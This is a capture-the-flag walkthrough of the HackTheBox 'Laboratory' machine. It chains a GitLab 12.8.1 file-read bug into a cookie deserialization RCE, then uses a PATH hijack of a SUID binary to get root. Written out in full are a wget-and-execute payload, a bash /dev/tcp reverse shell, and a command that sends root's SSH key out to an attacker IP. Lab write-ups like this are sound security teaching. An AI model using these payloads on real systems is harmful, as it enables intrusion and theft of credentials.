Recon
- Port scan:
$ nmap -p- 10.10.10.216 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https
- Targeted scan:
$ nmap -sC -sV -p 22,80,443 10.10.10.216 > targeted.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA) | 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA) |_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519) 80/tcp open http Apache httpd 2.4.41 |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to https://laboratory.htb/ 443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: The Laboratory | ssl-cert: Subject: commonName=laboratory.htb | Subject Alternative Name: DNS:git.laboratory.htb | Not valid before: 2020-07-05T10:39:28 |_Not valid after: 2024-03-03T10:39:28 | tls-alpn: |_ http/1.1
OpenSSH 8.2p1 Ubuntu 4ubuntu0.1, Apache httpd 2.4.41 (HTTP/SSL).
Enumeration
HTTP Enumeration
- HTTP automatically redirects to
laboratory.htb
, add domain names to/etc/hosts
:10.10.10.216 laboratory.htb
- From the targeted scan, we also see that there is a git subdomain:
Subject Alternative Name: DNS:git.laboratory.htb
- Add the subdomain to the line in
/etc/hosts
as well:10.10.10.216 laboratory.htb git.laboratory.htb
- Laboratory CEO's name is "Dexter", potential username.
HTTPS Enumeration
- Port 443 is hosting a GitLab repository.
- GitLab login page:
- Attempt to register for an account:
1 error prohibited this user from being saved: Email domain is not authorized for sign-up
- Attempting to register again with
@laboratory.htb
email address, was redirected togit.laboratory.htb/users
which 404'd. - Navigating back to homepage, we see that we're registered and have logged in successfully. No email verification was necessary.
- Version info is exposed on https://git.laboratory.htb/help, the server is running GitLab Community Edition 12.8.1.
- This version of GitLab is newer than the previously similar box, Ready, and is not vulnerable to the same Webhooks SSRF and CRLF injection.
- However, it is vulnerable to a different local file inclusion (LFI) attack, specifically in the
UploadsRewriter
module. - File names and paths of upload attachments are not checked when copying an issue between projects, which allows us to read arbitrary files on the server.
Exploitation
Exploiting LFI in GitLab
- While there is a Metasploit module (
multi/http/gitlab_file_read_rce
) which can automate the exploit, let us do the exploit manually this time. - According to the HackerOne report on this vulnerability, it is possible to read local files using the upload string:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../PATH_TO_FILE)
- We can turn this LFI attack into an RCE as the
cookies_serializer
is set to the unsafe optionhybrid
by default. - Payloads can be sent by changing our own local GitLab instance's secret_key_base to match the target's.
- Target
secret_key_base
can be found by reading/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
:![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
- Download
secrets.yml
from moved issue, and we can obtain the target'ssecret_key_base
:3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
Setting up our own GitLab instance
- Install Docker:
$ sudo pacman -S docker
- Start Docker daemon:
$ sudo systemctl start docker
- Pull vulnerable version of GitLab from repository:
$ sudo docker pull gitlab/gitlab-ce:12.8.1-ce.0
- Set up $GITLAB_HOME:
$ mkdir /srv/gitlab
$ export GITLAB_HOME=/srv/gitlab
- Start GitLab container:
$ sudo docker run --detach \ --hostname git.laboratory.htb \ --publish 443:443 --publish 80:80 --publish 22:22 \ --name gitlab \ --restart always \ --volume $GITLAB_HOME/config:/etc/gitlab:Z \ --volume $GITLAB_HOME/logs:/var/log/gitlab:Z \ --volume $GITLAB_HOME/data:/var/opt/gitlab:Z \ gitlab/gitlab-ce:12.8.1-ce.0
- Check whether if container is running:
$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES dffc9c86e108 gitlab/gitlab-ce:12.8.1-ce.0 "/assets/wrapper" 40 seconds ago Up 38 seconds (health: starting) 0.0.0.0:22->22/tcp, 0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp gitlab
- Now that the container is running, we can get a bash shell in the container:
$ sudo docker exec -it gitlab /bin/bash
- Navigate to
/opt/gitlab/embedded/service/gitlab-rails/config/
, replace thesecret_key_base
insecrets.yml
with our target's key. - Reconfigure and restart GitLab:
$ gitlab-ctl reconfigure
$ gitlab-ctl restart
(Unicorn service may become stuck, kill and restart if needed)
- Start up GitLab console:
$ gitlab-rails console
-------------------------------------------------------------------------------- GitLab: 12.8.1 (d18b43a5f5a) FOSS GitLab Shell: 11.0.0 PostgreSQL: 10.12 -------------------------------------------------------------------------------- Loading production environment (Rails 6.0.2) irb(main):001:0> _
- We can see that the version info matches our victim's, meaning we have installed the correct version.
- From here, we can serialise our payload into a cookie, and send it to the target to exploit the LFI vulnerability remotely.
- In our
gitlab-rails
console, we can generate the payload cookie with:request = ActionDispatch::Request.new(Rails.application.env_config) request.env["action_dispatch.cookies_serializer"] = :marshal cookies = request.cookie_jar erb = ERB.new("<%= `wget http://10.10.14.103:9090/reverse.sh && chmod +x reverse.sh && ./reverse.sh` %>") depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new) cookies.signed[:cookie] = depr puts cookies[:cookie]
- Create a simple reverse shell script, and host it on HTTP with
updog
:#!/bin/bash bash -i >& /dev/tcp/10.10.14.103/6969 0>&1
- Listen for incoming shell connection with netcat:
$ nc -lvnp 6969
- Send the cookie under
experimentation_subject_id
field usingcurl
, don't forget the-k
option at the end to disable SSL checks:$ curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAYwjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgd2dldCBodHRwOi8vMTAuMTAuMTQuMTAzOjkwOTAvcmV2ZXJzZS5zaCAmJiBjaG1vZCAreCByZXZlcnNlLnNoICYmIC4vcmV2ZXJzZS5zaGAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--db75c853cd72781d87505f46671012d391cfaccc" -k
- We should get a shell as git, inside the GitLab docker container.
- As the git user has write access to the GitLab system, we can change Dexter's GitLab password using the gitlab-rails console:
$ gitlab-rails console
user = User.where(id: 1).first user.password = 'mango123!' user.password_confirmation = 'mango123!' user.save!
- Changed GitLab credentials:
dexter:mango123!
- Login to Dexter's GitLab account, and we find his SSH keys are stored in the SecureDocker repository, under the
./dexter/.ssh
directory. - Download the repository as a zip, and extract the contents.
- Before we SSH, we have to change the file permissions of id_rsa key to the appropriate values:
$ chmod 600 ./securedocker-master-dexter/dexter/.ssh/id_rsa
- SSH in as dexter:
$ ssh -i ./securedocker-master-dexter/dexter/.ssh/id_rsa [email protected]
Load key "./securedocker-master-dexter/dexter/.ssh/id.rsa": invalid format [email protected]: Permission denied (publickey).
- Strange, after a bit of searching, it seems like the GitLab
id_rsa
files tend to fail because of a missing line break at the EOF. - Retry after adding the line break:
$ whoami && id
dexter uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
- Get user flag!
Privilege Escalation
- Along with the SSH keys, we also find a
todo.txt
file under./dexter/
of the SecureDocker repository:# DONE: Secure docker for regular users ### DONE: Automate docker security on startup # TODO: Look into "docker compose" # TODO: Permanently ban DeeDee from lab
- We find out that there is a "docker security" module that's scheduled to automatically trigger on start-up.
- If this module has privileged access and Dexter has write access to it, we can leverage this to execute arbitrary code as root.
- We also find out about another user called "DeeDee" (also mentioned on homepage) who has yet to be banned, perhaps he/she has unrevoked privileged access?
- Finding privileged files:
$ file / -perm -4000 2>/dev/null
/usr/local/bin/docker-security
- We have found our file of interest, looking deeper:
`$ stat /usr/local/bin/docker-security`
File: /usr/local/bin/docker-security Size: 16720 Blocks: 40 IO Block: 4096 regular file Device: fd00h/64768d Inode: 7838 Links: 1 Access: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 1000/ dexter) Access: 2021-01-22 05:26:56.593557861 +0000 Modify: 2020-08-28 14:52:07.000000000 +0000 Change: 2020-08-28 15:59:35.508011813 +0000 Birth: -
- Upon executing the binary, nothing outputs nor are any files created.
- We can debug it further using the Linux utility
ltrace
, which displays the calls a userspace application makes to other shared libraries:$ ltrace ./docker-security
setuid(0) = -1 setgid(0) = -1 system("chmod 700 /usr/bin/docker"chmod: changing permissions of '/usr/bin/docker': Operation not permitted <no return ...> --- SIGCHLD (Child exited) --- <... system resumed> ) = 256 system("chmod 660 /var/run/docker.sock"chmod: changing permissions of '/var/run/docker.sock': Operation not permitted <no return ...> --- SIGCHLD (Child exited) --- <... system resumed> ) = 256 +++ exited (status 0) +++
- We see that the binary first sets the UID and GID on execution to
0
, which is reserved for the root user and group. - It then calls
chmod
, a Linux utility for modifying file permissions, on/usr/bin/docker
, which seems to have failed. - However, by exploiting the
$PATH
variable and creating our own malicious version ofchmod
, we can leverage this binary call to have it execute arbitrary code as root. - Create temporary directory:
$ mkdir /tmp/sup && cd /tmp/sup
- Create bogus version of
chmod
, and make it executable:$ echo "/bin/bash" > chmod
$ chmod 777 ./chmod
- Prepend the current directory to
$PATH
, such that the malicious version takes priority over the realchmod
:$ export PATH=/tmp/sup:$PATH
- Execute the
docker-security
binary again, and we now get a shell as the root user:$ whoami && id
root uid=0(root) gid=0(root) groups=0(root),1000(dexter)
- Get root flag!
Persistence
- Get root user's hash from
/etc/shadow
:root:$6$AMvgOmRCNzBloX3T$rd5nRPwkBPHenf6VLHfsXb066LNq0MZBRYeEsuCZviD8nQGvVLMaW9iH1hb5FPHzdl.McOJ8GrFIFfdSnIo4t1:18439:0:99999:7:::
- Get root user's SSH key from
/root/.ssh/
:$ nc -lvnp 6969 > ./id_rsa < /dev/null
$ cat /root/.ssh/id_rsa > /dev/tcp/10.10.14.103/6969